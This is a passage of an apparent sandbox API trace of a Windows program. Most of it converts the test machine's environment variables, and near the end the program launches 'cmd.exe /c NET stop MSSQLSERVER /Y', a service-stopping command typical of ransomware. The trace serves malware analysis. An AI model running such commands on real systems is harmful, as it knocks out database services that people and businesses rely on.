lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x69df68, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x69cd48, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x69dfa8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x69bd10, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x69baf8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x69bd30, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x690c08, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x69bb28, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x69cc70, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x69bd50, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x69bbf0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x690bc0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x69bb58, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x69ccb8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x699558, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x699580, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x69c3d8, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x69bc10, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x69bc30, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x6995a8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x69c428, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0033.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x699848, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x6995d0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x69c458, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x69bc50, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x690bd8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x69bc70, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x699768, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x6997a0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x69bc90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x6995f8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0033.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0033.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x6997d8, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0033.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x69bcb0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0033.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0033.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x69bcd0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0033.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0033.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x69c4a8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0033.993] GetLastError () returned 0x0 [0033.993] SetLastError (dwErrCode=0x0) [0033.993] GetLastError () returned 0x0 [0033.993] SetLastError (dwErrCode=0x0) [0033.993] AreFileApisANSI () returned 1 [0033.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0033.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0033.993] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0033.994] GetLastError () returned 0x0 [0033.994] SetLastError (dwErrCode=0x0) [0033.994] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET stop MSSQLSERVER /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET stop MSSQLSERVER /Y", lpProcessInformation=0x37e5a8*(hProcess=0x70, hThread=0x6c, dwProcessId=0x960, dwThreadId=0x964)) returned 1 [0034.054] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0036.268] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x2) returned 1 [0036.268] CloseHandle (hObject=0x6c) returned 1 [0036.268] CloseHandle (hObject=0x70) returned 1 [0036.268] GetLastError () returned 0x0 [0036.268] SetLastError (dwErrCode=0x0) [0036.269] GetLastError () returned 0x0 [0036.269] SetLastError (dwErrCode=0x0) [0036.269] GetLastError () returned 0x0 [0036.269] SetLastError (dwErrCode=0x0) [0036.269] AreFileApisANSI () returned 1 [0036.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0036.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0036.269] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: 